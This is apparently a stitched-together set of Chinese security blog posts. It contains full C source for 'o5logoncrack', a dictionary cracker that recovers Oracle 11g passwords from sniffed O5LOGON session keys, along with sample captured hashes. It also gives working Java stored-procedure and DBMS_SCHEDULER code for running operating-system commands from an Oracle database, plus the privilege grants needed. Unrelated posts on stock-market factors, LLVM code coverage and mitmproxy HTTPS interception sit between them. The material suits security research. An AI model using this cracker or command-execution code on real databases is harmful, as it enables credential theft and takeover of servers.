0DC3A4F4 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00..
0DC3A504 0C 4A FE 0C 02 00 00 00 FF FF FF FF 13 00 00 00..
0DC3A514 61 15 91 7F D6 AE B9 29 00 07 A4 02 A6 B1 2B AA..
0DC3A524 BD 3B AA 0C 13 C0 E5 18 8E FE BA AC F5 4C 01 BE.
0DC3A534 96 8F 59 0D B9 9E 2C F6 98 74 1F EF 22 CE 17 47..
0DC3A544 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..
0DC3A554 7A EF 5B 9E 89 D3 9F 07 62 A8 83 BB C6 4D 9F D9..
0DC3A564 EA 7B 90 1C 49 9B 73 36 BE 60 AF F6 69 A4 ED 37..
0DC3A574 8D 1D B3 B7 60 30 C7 56 00 00 00 00 8C A5 C3 0D..
0DC3A584 C8 B3 13 21 77 BF F6 84 28 3A D6 54 9F 65 96 0B..
0DC3A594 0E 0A E4 60 00 00 00 00 00 00 00 00 00 00 00 00..
0DC3A5A4 18 00 00 00 84 A5 C3 0D E0 3E FE 0C A8 46 A7 0C..
0DC3A5B4 94 77 FE 0C 0C C6 C3 0D 4A EA 50 01 F4 C4 C3 0D..
0DC3A5C4 F8 49 FE 0C 10 FB EC 0D


0DC3A4F0 30 00 00 00 offset
0DC3A514 61 15 91 7F ... encrypted session key (0x30 byte)
0DC3A554 7A EF 5B 9E ... plaintext session key (0x28 byte)
0DC3A584 8 B3 13 21 ... password hash (0x18 byte)

AES 192 加密40字节的明文,需要填充 8个 0x08

11.1

1
2
3
4
5
6
7
PASSWORD:            nsfocus
AUTH_SESSKEY: 43FD38029377C84620AE1851FC1D231409985064DEA0D0B8D48E50E6051751A5D8FDFEAAA9F83B99F37B051FA67F8546
AUTH_SESSKEY_CLIENT: C7248F0873F04B5A02E59178804BD361B0C77B20A4CF685460DA472996D5245745A791DFEA14399831EC62380808903C
AUTH_PASSWORD: 8B4C7D85F421EBA059FDBA21F5708FD4D3BB8AB2168941243B5EF07681F3B80A
AUTH_VFR_DATA: 3DA8A309D636ACF87004

PASSWORD HASH: EF92924A1DB06441457FDABC24BF89055C8594F7

11.2

1
2
3
4
5
6
7
PASSWORD    :        nsfocus
AUTH_SESSKEY: 52FC04B1FF8110CA1263DF5BC61A7E57740C8A5111D22B41E53CC167FDF2A6878958200D9B2B6A51C95D779FDEBABB69
AUTH_SESSKEY_C FA6DCD0F389E92D18F8188EC69313B524F421184FAE679613A72FC8DFD0A4C7BB93A6ACB8E05B8258A020D2954EC1B63
AUTH_PASSWORD 2C5F957A6532AD91D916F4E5FA7D2FDA0E6CDFFBAAED883CAF4F200C8983AE3D
AUTH_VFR_DATA 43E0BE20B32B0BB76E57

PASSWORD HASH: C3D98762D258D4BD92C572065DDEA9AF38123F88 43E0BE20B32B0BB76E57
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
aes key
0000 ef 92 92 4a 1d b0 64 41 45 7f da bc 24 bf 89 05
0010 5c 85 94 f7 00 00 00 00

decrypted_server_sesskey
0000 47 43 56 45 1f 61 c7 89 68 83 be ad ed c0 f4 54
0010 e3 dd 61 88 7e 78 d8 9a bc 8f dc 15 4f a6 2f 26
0020 a0 35 e2 63 68 bb 02 1b 08 08 08 08 08 08 08 08

encrypted_server_sesskey
0000 43 fd 38 02 93 77 c8 46 20 ae 18 51 fc 1d 23 14
0010 09 98 50 64 de a0 d0 b8 d4 8e 50 e6 05 17 51 a5
0020 d8 fd fe aa a9 f8 3b 99 f3 7b 05 1f a6 7f 85 46

AUTH_SESSKEY
0000 43 fd 38 02 93 77 c8 46 20 ae 18 51 fc 1d 23 14
0010 09 98 50 64 de a0 d0 b8 d4 8e 50 e6 05 17 51 a5
0020 d8 fd fe aa a9 f8 3b 99 f3 7b 05 1f a6 7f 85 46
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
aes key
0000 c3 d9 87 62 d2 58 d4 bd 92 c5 72 06 5d de a9 af
0010 38 12 3f 88 00 00 00 00

decrypted_server_sesskey
0000 21 64 7f ef 76 d3 ee 80 ed 24 47 50 f8 f4 f0 a6
0010 e4 18 a3 2a 40 0b 96 ea 5b 70 26 ab 6a e4 62 f5
0020 81 e0 62 1c 13 a0 21 90 08 08 08 08 08 08 08 08

encrypted_server_sesskey
0000 52 fc 04 b1 ff 81 10 ca 12 63 df 5b c6 1a 7e 57
0010 74 0c 8a 51 11 d2 2b 41 e5 3c c1 67 fd f2 a6 87
0020 89 58 20 0d 9b 2b 6a 51 c9 5d 77 9f de ba bb 69

AUTH_SESSKEY
0000 52 fc 04 b1 ff 81 10 ca 12 63 df 5b c6 1a 7e 57
0010 74 0c 8a 51 11 d2 2b 41 e5 3c c1 67 fd f2 a6 87
0020 89 58 20 0d 9b 2b 6a 51 c9 5d 77 9f de ba bb 69

exploit (POC)

o5logoncrack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
/* 
11.1

PASSWORD: nsfocus
AUTH_SESSKEY: 43FD38029377C84620AE1851FC1D231409985064DEA0D0B8D48E50E6051751A5D8FDFEAAA9F83B99F37B051FA67F8546
AUTH_SESSKEY_CLIENT: C7248F0873F04B5A02E59178804BD361B0C77B20A4CF685460DA472996D5245745A791DFEA14399831EC62380808903C
AUTH_PASSWORD: 8B4C7D85F421EBA059FDBA21F5708FD4D3BB8AB2168941243B5EF07681F3B80A
AUTH_VFR_DATA: 3DA8A309D636ACF87004

PASSWORD HASH: EF92924A1DB06441457FDABC24BF89055C8594F7

11.2

PASSWORD : nsfocus
AUTH_SESSKEY: 52FC04B1FF8110CA1263DF5BC61A7E57740C8A5111D22B41E53CC167FDF2A6878958200D9B2B6A51C95D779FDEBABB69
AUTH_SESSKEY_C FA6DCD0F389E92D18F8188EC69313B524F421184FAE679613A72FC8DFD0A4C7BB93A6ACB8E05B8258A020D2954EC1B63
AUTH_PASSWORD 2C5F957A6532AD91D916F4E5FA7D2FDA0E6CDFFBAAED883CAF4F200C8983AE3D
AUTH_VFR_DATA 43E0BE20B32B0BB76E57

PASSWORD HASH: C3D98762D258D4BD92C572065DDEA9AF38123F88 43E0BE20B32B0BB76E57

11.x
ED91B97A04000F326F17430A65DACB30CD1EF788E6EC310742B811E32112C0C9CC39554C9C01A090CB95E95C94140C28
40E7B86C99F4BF1D0F17538C22EBCE054F5F677E2B521480F1F56143D047C00469A87049DE1B9CADDC8EA71392AD6E3A
2D4FD970C12D9618742E4525C514105E0BE24DE75C04A0C4BF6DD46BE88A339E
7FD52BC80AA5836695D4
18C314BE125DF23689215C78C33F623AABF1152E


-------------------------------------
aes key
0000 ef 92 92 4a 1d b0 64 41 45 7f da bc 24 bf 89 05
0010 5c 85 94 f7 00 00 00 00

decrypted_server_sesskey
0000 47 43 56 45 1f 61 c7 89 68 83 be ad ed c0 f4 54
0010 e3 dd 61 88 7e 78 d8 9a bc 8f dc 15 4f a6 2f 26
0020 a0 35 e2 63 68 bb 02 1b 08 08 08 08 08 08 08 08

encrypted_server_sesskey
0000 43 fd 38 02 93 77 c8 46 20 ae 18 51 fc 1d 23 14
0010 09 98 50 64 de a0 d0 b8 d4 8e 50 e6 05 17 51 a5
0020 d8 fd fe aa a9 f8 3b 99 f3 7b 05 1f a6 7f 85 46

AUTH_SESSKEY
0000 43 fd 38 02 93 77 c8 46 20 ae 18 51 fc 1d 23 14
0010 09 98 50 64 de a0 d0 b8 d4 8e 50 e6 05 17 51 a5
0020 d8 fd fe aa a9 f8 3b 99 f3 7b 05 1f a6 7f 85 46

----------------
aes key
0000 c3 d9 87 62 d2 58 d4 bd 92 c5 72 06 5d de a9 af
0010 38 12 3f 88 00 00 00 00

decrypted_server_sesskey
0000 21 64 7f ef 76 d3 ee 80 ed 24 47 50 f8 f4 f0 a6
0010 e4 18 a3 2a 40 0b 96 ea 5b 70 26 ab 6a e4 62 f5
0020 81 e0 62 1c 13 a0 21 90 08 08 08 08 08 08 08 08

encrypted_server_sesskey
0000 52 fc 04 b1 ff 81 10 ca 12 63 df 5b c6 1a 7e 57
0010 74 0c 8a 51 11 d2 2b 41 e5 3c c1 67 fd f2 a6 87
0020 89 58 20 0d 9b 2b 6a 51 c9 5d 77 9f de ba bb 69

AUTH_SESSKEY
0000 52 fc 04 b1 ff 81 10 ca 12 63 df 5b c6 1a 7e 57
0010 74 0c 8a 51 11 d2 2b 41 e5 3c c1 67 fd f2 a6 87
0020 89 58 20 0d 9b 2b 6a 51 c9 5d 77 9f de ba bb 69

------------------
aes key
0000 18 c3 14 be 12 5d f2 36 89 21 5c 78 c3 3f 62 3a
0010 ab f1 15 2e 00 00 00 00

decrypted_server_sesskey
0000 07 eb ab db ee 3a 0e b0 ab e1 9f 68 12 c1 e3 e6
0010 5a e9 fd 7c b9 ca ae e2 fb 21 20 d4 af 83 de 0c
0020 1e 12 dc 01 22 05 a0 75 08 08 08 08 08 08 08 08

encrypted_server_sesskey
0000 ed 91 b9 7a 04 00 0f 32 6f 17 43 0a 65 da cb 30
0010 cd 1e f7 88 e6 ec 31 07 42 b8 11 e3 21 12 c0 c9
0020 cc 39 55 4c 9c 01 a0 90 cb 95 e9 5c 94 14 0c 28

AUTH_SESSKEY
0000 ed 91 b9 7a 04 00 0f 32 6f 17 43 0a 65 da cb 30
0010 cd 1e f7 88 e6 ec 31 07 42 b8 11 e3 21 12 c0 c9
0020 cc 39 55 4c 9c 01 a0 90 cb 95 e9 5c 94 14 0c 28

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/aes.h>
#include <openssl/md5.h>
#include <openssl/sha.h>
#include "getopt.h"


//*********************************************************************************************************************
// Hashes captured on the network during authentication phase

//unsigned char AUTH_SESSKEY [] = { 0x43,0xFD,0x38,0x02,0x93,0x77,0xC8,0x46,0x20,0xAE,0x18,0x51,0xFC,0x1D,0x23,0x14,0x09,0x98,0x50,0x64,0xDE,0xA0,0xD0,0xB8,0xD4,0x8E,0x50,0xE6,0x05,0x17,0x51,0xA5,0xD8,0xFD,0xFE,0xAA,0xA9,0xF8,0x3B,0x99,0xF3,0x7B,0x05,0x1F,0xA6,0x7F,0x85,0x46};
//
//unsigned char AUTH_SESSKEY_C[] = { 0xC7,0x24,0x8F,0x08,0x73,0xF0,0x4B,0x5A,0x02,0xE5,0x91,0x78,0x80,0x4B,0xD3,0x61,0xB0,0xC7,0x7B,0x20,0xA4,0xCF,0x68,0x54,0x60,0xDA,0x47,0x29,0x96,0xD5,0x24,0x57,0x45,0xA7,0x91,0xDF,0xEA,0x14,0x39,0x98,0x31,0xEC,0x62,0x38,0x08,0x08,0x90,0x3C};
//
//unsigned char AUTH_PASSWORD [] = { 0x8B,0x4C,0x7D,0x85,0xF4,0x21,0xEB,0xA0,0x59,0xFD,0xBA,0x21,0xF5,0x70,0x8F,0xD4,0xD3,0xBB,0x8A,0xB2,0x16,0x89,0x41,0x24,0x3B,0x5E,0xF0,0x76,0x81,0xF3,0xB8,0x0A };
//
//unsigned char AUTH_VFR_DATA [] = { 0x3D,0xA8,0xA3,0x09,0xD6,0x36,0xAC,0xF8,0x70,0x04 };

//unsigned char AUTH_SESSKEY [] = { 0x52,0xFC,0x04,0xB1,0xFF,0x81,0x10,0xCA,0x12,0x63,0xDF,0x5B,0xC6,0x1A,0x7E,0x57,0x74,0x0C,0x8A,0x51,0x11,0xD2,0x2B,0x41,0xE5,0x3C,0xC1,0x67,0xFD,0xF2,0xA6,0x87,0x89,0x58,0x20,0x0D,0x9B,0x2B,0x6A,0x51,0xC9,0x5D,0x77,0x9F,0xDE,0xBA,0xBB,0x69 };
//
//unsigned char AUTH_SESSKEY_C[] = { 0xFA,0x6D,0xCD,0x0F,0x38,0x9E,0x92,0xD1,0x8F,0x81,0x88,0xEC,0x69,0x31,0x3B,0x52,0x4F,0x42,0x11,0x84,0xFA,0xE6,0x79,0x61,0x3A,0x72,0xFC,0x8D,0xFD,0x0A,0x4C,0x7B,0xB9,0x3A,0x6A,0xCB,0x8E,0x05,0xB8,0x25,0x8A,0x02,0x0D,0x29,0x54,0xEC,0x1B,0x63 };
//
//unsigned char AUTH_PASSWORD [] = { 0x2C,0x5F,0x95,0x7A,0x65,0x32,0xAD,0x91,0xD9,0x16,0xF4,0xE5,0xFA,0x7D,0x2F,0xDA,0x0E,0x6C,0xDF,0xFB,0xAA,0xED,0x88,0x3C,0xAF,0x4F,0x20,0x0C,0x89,0x83,0xAE,0x3D };
//
//unsigned char AUTH_VFR_DATA [] = { 0x43,0xE0,0xBE,0x20,0xB3,0x2B,0x0B,0xB7,0x6E,0x57 };
//


//unsigned char AUTH_SESSKEY [] = { 0xED,0x91,0xB9,0x7A,0x04,0x00,0x0F,0x32,0x6F,0x17,0x43,0x0A,0x65,0xDA,0xCB,0x30,0xCD,0x1E,0xF7,0x88,0xE6,0xEC,0x31,0x07,0x42,0xB8,0x11,0xE3,0x21,0x12,0xC0,0xC9,0xCC,0x39,0x55,0x4C,0x9C,0x01,0xA0,0x90,0xCB,0x95,0xE9,0x5C,0x94,0x14,0x0C,0x28 };

//unsigned char AUTH_VFR_DATA [] = { 0x7F,0xD5,0x2B,0xC8,0x0A,0xA5,0x83,0x66,0x95,0xD4 };

//unsigned char AUTH_SESSKEY [] = { 0xBD,0x53,0x44,0x89,0x91,0xEE,0xAB,0x1E,0xCD,0x8D,0x32,0xFB,0x59,0x52,0x3F,0x0C,0xBD,0xB3,0x3B,0x40,0xC2,0x8F,0xEB,0xED,0xDD,0x5A,0xA3,0xA4,0xAF,0x0C,0xF6,0xB7,0x23,0x06,0x16,0x2D,0x3F,0x0C,0x1E,0x8D,0xB2,0x53,0x8A,0xF2,0x91,0xEC,0x01,0xA5};

//unsigned char AUTH_VFR_DATA [] = { 0x03,0x1C,0xB4,0x72,0xC4,0xD9,0x04,0x12,0xDD,0x31 };

//*********************************************************************************************************************

int HexStringtoBinArray(char* str, unsigned char* array){
int alen=strlen(str)/2;
unsigned char t[2];
unsigned int hexc;
int j=0;
int i=0;
for(;i<strlen(str);i=i+2){
t[0]=str[i];
t[1]=str[i+1];
hexc = t[0]-48;
if (hexc > 9) hexc-=7;
array[j]=hexc*16;
hexc = t[1]-48;
if (hexc > 9) hexc-=7;
array[j]+=hexc;
j++;
}
return j;
}

static void hexdump( FILE *f, const char *title, const unsigned char *s,int l) {
int n = 0;

fprintf(f, "%s", title);
for (; n < l; ++n) {
if ((n % 16) == 0) {
fprintf(f, "\n%04x", n);
}
fprintf(f, " %02x", s[n]);
}

fprintf(f, "\n");
}

void ORACLE_MixCase_Hash (char *passwd, int passwd_len, unsigned char salt[10], unsigned char* oracle_mixcase_hash) {
unsigned char to_hash[256];
SHA_CTX ctx;

memcpy (to_hash, passwd, passwd_len);
memcpy (to_hash+passwd_len, salt, 10);

SHA1_Init (&ctx);
SHA1_Update (&ctx, to_hash, passwd_len+10);
SHA1_Final (oracle_mixcase_hash, &ctx);
}

void ORACLE_TNS_Decrypt_AES192_CBC (unsigned char aes_key_bytes[24], unsigned char* input, int input_len, unsigned char* output) {
unsigned char iv[] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};

AES_KEY key;
AES_set_decrypt_key(aes_key_bytes, 192, &key);
AES_cbc_encrypt(input, output, input_len, &key, iv, AES_DECRYPT);
}

void ORACLE_TNS_Encrypt_AES192_CBC (unsigned char aes_key_bytes[24], unsigned char* input, int input_len, unsigned char* output) {
unsigned char iv[] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};

AES_KEY key;
AES_set_encrypt_key(aes_key_bytes, 192, &key);
AES_cbc_encrypt(input, output, input_len, &key, iv, AES_ENCRYPT);
}

void usage() {
fprintf(stdout, "o5logoncrack -k server sesskey -s salt -d dict\n");
exit(0);
}

int main(int argc, char* argv[]) {

char password [100];
char aes_key_bytes[24] = {0};
char dict_filename[256] = {0};
unsigned char Oracle_MixCaseHash[20] = {0};
unsigned char decrypted_server_sesskey[48] = {0};
unsigned char encrypted_server_sesskey[48] = {0};
unsigned char AUTH_SESSKEY[48] = {0};
unsigned char AUTH_VFR_DATA[10] = {0};
int len;
int ret;
int debug = 0;
FILE * fp = NULL;

int ch;
int args = 0;
while( ( ch = getopt( argc, argv, "k:s:d:v" ) ) != EOF ) {
switch(ch) {

case 'k':
HexStringtoBinArray(optarg, AUTH_SESSKEY);
break;
case 's':
HexStringtoBinArray(optarg, AUTH_VFR_DATA);
break;
case 'd':
strncpy(dict_filename, optarg, 255);
break;
case 'v':
debug = 1;
break;
default:
usage();
}
args++;
}

if (args < 3) usage();

printf ("*************************************************************\n");
printf ("Oracle 11g TNS AES-192 cracker by zz@nsfocus\n");
printf ("*************************************************************\n\n");

if ( (fp = fopen(dict_filename, "r")) == NULL ) {
perror("fail to read");
exit(1);
}

while(fgets(password, 100, fp) != NULL) {

len = strlen(password);
if (password[len-1] == 0xa && password[len-2] == 0xd) {
password[len-2] = '\0';
}
else password[len-1] = '\0';

if (debug)
fprintf(stdout, "try `%s'\n", password);
// Create Oracle Hash from the salt (AUTH_VFR_DATA) and the password
ORACLE_MixCase_Hash (password, strlen (password), AUTH_VFR_DATA, Oracle_MixCaseHash);

memset (aes_key_bytes,0,sizeof(aes_key_bytes));
memcpy (aes_key_bytes,Oracle_MixCaseHash, 20);

if (debug)
hexdump(stdout, "aes_key_bytes", aes_key_bytes, sizeof(aes_key_bytes));

memset (decrypted_server_sesskey, 0, sizeof(decrypted_server_sesskey));
ORACLE_TNS_Decrypt_AES192_CBC (aes_key_bytes, AUTH_SESSKEY, 48, decrypted_server_sesskey);

if (debug)
hexdump(stdout, "decrypted_server_sesskey", decrypted_server_sesskey, sizeof(decrypted_server_sesskey));

ret = strncmp(&decrypted_server_sesskey[40], "\x08\x08\x08\x08\x08\x08\x08\x08", 8);

if (ret == 0) {
printf ("\nFound password: %s \n\n", password);
return 0;
}

memset(password, 0, sizeof(password));

}

fclose(fp);
return 0;
}

参考链接

准备多写点东西,内容将不在局限于网络安全。

不得不说搞金融的这些人很厉害,各种玩法坑死大家了。
除了一般需要关注的点,还需要关注几个地方,其实这些点在某些情况下比PE,ROE 啥的都重要:

  • 可转债 (一堆家伙喜欢套利)
  • 配股 (散户不太喜欢配股)
  • 融资盘 (主力不喜欢太多人做轿子)
  • 增发 (这个情况比较复杂,增发价是比较重要的)
  • 质押 (太高可能暴雷)
  • GDR (还是套利)
  • 商誉 (可能要计提,影响净利润)
  • 减持 (主力不喜欢给大股东抬轿子)

要了解这些情况最可靠的方法为读公告,一般情况雪球和东方财富股吧会有人讨论。

https://xueqiu.com/
http://guba.eastmoney.com/

Google 提供的工具

Google 提供了一个工具 https://cs.chromium.org/chromium/src/tools/code_coverage/coverage.py

1
2
3
4
5
6
7
8
$ gn gen out/coverage \
--args='use_clang_coverage=true is_component_build=false dcheck_always_on=true'
$ python tools/code_coverage/coverage.py \
crypto_unittests url_unittests \
-b out/coverage -o out/report \
-c 'out/coverage/crypto_unittests' \
-c 'out/coverage/url_unittests --gtest_filter=URLParser.PathURL' \
-f url/ -f crypto/

一些参数的含义:

1
2
3
4
-b 测试 coverage 的 target 的路径
-o 输出报告的路径
-c 测试 coverage 的命令行
-f 过滤,只显示某些路径的 coverage

workflow

实际操作表明, coverage.py 不是太好用。 还是需要一步一步来,比较稳妥。

(0) 编译

在 chromium 项目下,可以直接使用 use_clang_coverage=true and is_component_build=false
如果不是 chromium 项目, 则需要自己 指定参数, 例如在 skia 项目中,可以这么写:

args.gn

1
2
3
4
cc = "/home/henices/clang7/bin/clang"
cxx = "/home/henices/clang7/bin/clang++"
extra_cflags = [ "-fprofile-instr-generate", "-fcoverage-mapping" ]
extra_ldflags = [ "-fprofile-instr-generate", "-fcoverage-mapping" ]

如果是自己的项目,使用 clang 编译时加上这两个参数 -fprofile-instr-generate -fcoverage-mapping

(1) 生成 Raw Profiles 文件

export LLVM_PROFILE_FILE="out/report/target.%4m.profraw" 使用这个命令
限制 profraw 文件的个数。

%p 进程 ID
%h hostname
%Nm 生成几个 profraw 文件

写个循环,将所有的样本跑一遍。 timeout 10 指定程序超时时间。

1
for i  in path ; do timeout 10 target  $i ; done

将在 out/report 目录下, 生成 profraw 文件, 如果没有生成, 则说明上面的代码编译出了问题。

(2) 生成 Indexed Profile

/home/henices/clang7/bin/llvm-profdata merge -j=1 -sparse -o out/report/coverage.profdata out/report/*.profraw

-sparse 能大幅减小 profraw 文件大小

(3) 生成 Coverage report

1
2
3
/home/henices/clang7/bin/llvm-cov show -output-dir=out/report -format=html \
-Xdemangler c++filt -Xdemangler -n -instr-profile=out/report/coverage.profdata \
-object=out/coverage/target

打开 out/report/index.html 可以看到详细的 html 报告,非常不错。

llvm-coverge-html

参考链接

主要特色:Intercept HTTP & HTTPS requests and responses and modify them on the fly

使用python编写,可以在windows,Linux, Mac 下运行,这点比 fiddler 有优势。可以修改
报文内容,这点很不错。

1. 安装

参考 http://docs.mitmproxy.org/en/stable/install.html

1
2
sudo dnf install -y python-pip python-devel libffi-devel openssl-devel libxml2-devel libxslt-devel libpng-devel libjpeg-devel
sudo pip install mitmproxy # or pip install --user mitmproxy

2. 基本使用

mitmproxy -b a.b.c.d -p 8080

  • -b bind address
  • -p bind port
  • -s “script.py –bar”, –script “script.py –bar” Run a script. Surround with quotes to pass script
1
2
3
-b ADDR, --bind-address ADDR
-p PORT, --port PORT Proxy service port.
-s mitmproxy 脚本

2.1 mitmproxy 界面操作

- ?            显示帮助信息
- i, j, k, l    上下左右,同 vi
- enter         进入具体报文
- tab           详细报文内容页面,显示标签调整
- E             导出报文内容

3. HTTPS

使用mitmproxy 最大的原因就是因为它可以对付https报文。

3.1 导入mitmproxy的 CA

参考 http://docs.mitmproxy.org/en/stable/certinstall.html

mitmproxy 的 CA 证书放在 ~/.mitmproxy 目录, 可以在不同设备中添加。

3.2 目标设备为Linux

☆ Google Chrome

设置 -> HTTPS/SSL -> 证书管理 -> 授权中心

☆ Firefox

没用Firefox,估计也类似。

然后设置浏览器使用mitmproxy代理即可。

3.3 目标设备为 Android

3.3.1 导入证书

adb push ~/.mitmproxy/mitmproxy-ca-cert.cer /sdcard/Download

设置 -> 安全 -> 证书存储 -> 从手机存储安装, 选择上传的CA证书。

3.3.2 设置代理

emulator 上可以通过下面的命令行,设置代理。

./emulator -avd 7.0_x86 -http-proxy http://a.b.c.d:8080

真实的设备上,据网络上的文章说,可以通过设置 APN来实现,没有测试。

3.3.3 启动 mitmproxy

mitmproxy -b a.b.c.d -p 8080

4. 透明模式

mitmproxy 支持透明部署,具体的方法可以参考下面的文章。

http://docs.mitmproxy.org/en/stable/transparent/linux.html

5. 修改报文内容

github 上有很多例子,这次没有需求,可以参考

https://github.com/mitmproxy/mitmproxy/tree/v0.18.2/examples

官方文档上给了个简单例子

1
2
def response(flow):
flow.response.headers["newheader"] = "foo"

给http响应报文的头部添加一个 newheader 的字段。

6. socks 模式

–socks 作为 SOCKS5 proxy server

7. 总结

这里说到的内容非常少,mitmproxy这个工具还是很强大的。

1. 正统方法

1.1 使用JAVA

1.1.1 代码

Oracle 数据库都支持Java,可以利用java来实现我们需要的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;

public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
try {
String[] finalCommand;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
finalCommand = new String[4];
finalCommand[0] = "C:\\windows\\system32\\cmd.exe";
finalCommand[1] = "/y";
finalCommand[2] = "/c";
finalCommand[3] = command;
} else {
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}
Process p = Runtime.getRuntime().exec(finalCommand);
if (p.waitFor() != 0) {
if (p.exitValue() == 1)
System.err.println("command execute failed.");
}
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
System.out.println(lineStr);
inBr.close();
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
};
/

CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';
/

1.1.2 设置输出

1
2
set serveroutput on size 100000;
exec dbms_java.set_output(100000);

1.1.3 需要的权限

可以使用下面的语句查询相关权限

  • 用户权限
1
select * from session_privs;
  • JAVA 权限
1
2
select * from dba_java_policy;
select * from user_java_policy;

使用java代码执行系统命令需要的权限,可以使用下面语句进行授权:

1
2
3
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

1.1.4 实验结果

非常不错支持回显。

1
2
3
4
5
SQL> exec javacmdproc('/bin/uname -a');
Linux localhost.localdomain 2.6.32-100.34.1.el6uek.i686 #1 SMP Wed May 25
17:28:36 EDT 2011 i686 i686 i386 GNU/Linux

PL/SQL procedure successfully completed.

1.1.5 注意

需要使用全路径

1.2 DBMS_SCHEDULAR

1.2.1 DBMS_SCHEDULAR 简介

这个和Windows上的计划任务类似。

1.2.2 需要的权限

  1. CREATE JOB
  2. CREATE EXTERNAL JOB
  3. EXECUTE on dbms_scheduler (granted to public by default)

grant create job, create external job to scott ;

1.2.3 执行的语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BEGIN
DBMS_SCHEDULER.CREATE_PROGRAM (
program_name=> 'MyCmd',
program_type=> 'EXECUTABLE',
-- Use the ampersand to break out
program_action => '/tmp/a.sh',
enabled=> TRUE,
comments=> 'Run a command using shell metacharacters.'
);
END;
/

BEGIN
DBMS_SCHEDULER.CREATE_JOB (
job_name=> 'X',
program_name=> 'MyCmd',
repeat_interval=> 'FREQ=SECONDLY;INTERVAL=10',
enabled=> TRUE,
comments=> 'Every 10 seconds');
END;
/

exec DBMS_SCHEDULER.RUN_JOB ( job_name=> 'X');

1.2.4 注意

  1. 原先使用 || 等 metacharacters 的bug已经修复,只能使用参数
  2. Windows系统必须开启OracleJobSchedulerSID 服务
  3. Linux系统上相关文件的权限必须正确
  4. 高版本的Linux,执行的group已经被Oracle将为nobody

总之这个方法局限行很大,不推荐使用,列在这里只是做一个备忘。

1.3 使用oradebug

  • oradebug 简介
    oradebug是一个神奇的命令, 能干很多活, 但是Oracle却很少提及,属于undocumented
    状态,是给oracle的工程师使用的,主要用于调试和性能调优。可以使用 oradebug help
    命令,查看oradebug的用法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
SQL> oradebug help
HELP [command] Describe one or all commands
SETMYPID Debug current process
SETOSPID <ospid> Set OS pid of process to debug
SETORAPID <orapid> ['force'] Set Oracle pid of process to debug
SETORAPNAME <orapname> Set Oracle process name to debug
SHORT_STACK Get abridged OS stack
CURRENT_SQL Get current SQL
DUMP <dump_name> <lvl> [addr] Invoke named dump
DUMPSGA [bytes] Dump fixed SGA
DUMPLIST Print a list of available dumps
EVENT <text> Set trace event in process
SESSION_EVENT <text> Set trace event in session
DUMPVAR <p|s|uga> <name> [level] Print/dump a fixed PGA/SGA/UGA variable
DUMPTYPE <address> <type> <count> Print/dump an address with type info
SETVAR <p|s|uga> <name> <value> Modify a fixed PGA/SGA/UGA variable
PEEK <addr> <len> [level] Print/Dump memory
POKE <addr> <len> <value> Modify memory
WAKEUP <orapid> Wake up Oracle process
SUSPEND Suspend execution
RESUME Resume execution
FLUSH Flush pending writes to trace file
CLOSE_TRACE Close trace file
TRACEFILE_NAME Get name of trace file
LKDEBUG Invoke global enqueue service debugger
NSDBX Invoke CGS name-service debugger
-G <Inst-List | def | all> Parallel oradebug command prefix
-R <Inst-List | def | all> Parallel oradebug prefix (return output
SETINST <instance# .. | all> Set instance list in double quotes
SGATOFILE <SGA dump dir> Dump SGA to file; dirname in double quotes
DMPCOWSGA <SGA dump dir> Dump & map SGA as COW; dirname in double quotes
MAPCOWSGA <SGA dump dir> Map SGA as COW; dirname in double quotes
HANGANALYZE [level] [syslevel] Analyze system hang
FFBEGIN Flash Freeze the Instance
FFDEREGISTER FF deregister instance from cluster
FFTERMINST Call exit and terminate instance
